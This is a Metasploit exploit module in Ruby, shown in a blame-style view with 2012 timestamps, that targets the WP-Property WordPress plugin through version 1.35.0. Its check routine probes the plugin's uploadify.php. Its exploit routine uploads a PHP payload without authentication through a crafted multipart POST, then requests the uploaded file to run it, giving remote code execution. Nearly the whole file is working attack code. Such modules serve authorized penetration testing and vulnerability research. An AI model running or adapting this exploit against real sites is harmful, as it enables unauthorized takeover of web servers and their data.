2012-12-24 17:58:53 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/exploit/php_exe'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2012-12-24 17:59:45 +00:00
|
|
|
Rank = ExcellentRanking
|
2012-12-24 17:58:53 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::PhpEXE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
|
|
|
|
'Description' => %q{
|
2012-12-24 17:59:45 +00:00
|
|
|
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
|
|
|
|
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
|
|
|
|
temp directory without authentication, which results in arbitrary code execution.
|
2012-12-24 17:58:53 +00:00
|
|
|
},
|
2012-12-24 17:59:45 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Sammy FORGIT', # initial discovery
|
|
|
|
'James Fitts' # metasploit module
|
|
|
|
],
|
2012-12-24 17:58:53 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '82656' ],
|
2012-12-24 17:59:45 +00:00
|
|
|
[ 'BID', '53787' ],
|
|
|
|
[ 'EDB', '18987'],
|
|
|
|
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
|
2012-12-24 17:58:53 +00:00
|
|
|
],
|
2012-12-24 17:59:45 +00:00
|
|
|
'Payload' =>
|
2012-12-24 17:58:53 +00:00
|
|
|
{
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Platform' => 'php',
|
2012-12-24 17:59:45 +00:00
|
|
|
'Arch' => ARCH_PHP,
|
2012-12-24 17:58:53 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
2012-12-24 17:59:45 +00:00
|
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
|
2012-12-24 17:58:53 +00:00
|
|
|
],
|
2012-12-24 17:59:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
2012-12-24 17:58:53 +00:00
|
|
|
'DisclosureDate' => 'Mar 26 2012'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2012-12-24 17:59:45 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
|
2012-12-24 17:58:53 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2012-12-24 17:59:45 +00:00
|
|
|
def check
|
|
|
|
uri = target_uri.path
|
|
|
|
uri << '/' if uri[-1,1] != '/'
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
|
|
|
|
})
|
|
|
|
|
|
|
|
if not res or res.code != 200
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
2012-12-24 17:58:53 +00:00
|
|
|
def exploit
|
|
|
|
uri = target_uri.path
|
|
|
|
uri << '/' if uri[-1,1] != '/'
|
|
|
|
|
|
|
|
peer = "#{rhost}:#{rport}"
|
|
|
|
|
|
|
|
@payload_name = "#{rand_text_alpha(5)}.php"
|
2012-12-24 17:59:45 +00:00
|
|
|
php_payload = get_write_exec_payload(:unlink_self=>true)
|
|
|
|
|
|
|
|
data = Rex::MIME::Message.new
|
|
|
|
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
|
|
|
|
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
|
|
|
|
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
2012-12-24 17:58:53 +00:00
|
|
|
|
2012-12-24 17:59:45 +00:00
|
|
|
print_status("#{peer} - Uploading payload #{@payload_name}")
|
2012-12-24 17:58:53 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2012-12-24 17:59:45 +00:00
|
|
|
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
2012-12-24 17:58:53 +00:00
|
|
|
'data' => post_data
|
|
|
|
})
|
|
|
|
|
2012-12-24 17:59:45 +00:00
|
|
|
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
|
|
|
|
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
|
2012-12-24 17:58:53 +00:00
|
|
|
end
|
|
|
|
|
2012-12-24 17:59:45 +00:00
|
|
|
upload_uri = res.body
|
|
|
|
|
|
|
|
print_status("#{peer} - Executing payload #{@payload_name}")
|
2012-12-24 17:58:53 +00:00
|
|
|
res = send_request_raw({
|
2012-12-24 17:59:45 +00:00
|
|
|
'uri' => upload_uri,
|
2012-12-24 17:58:53 +00:00
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
end
|
|
|
|
end
|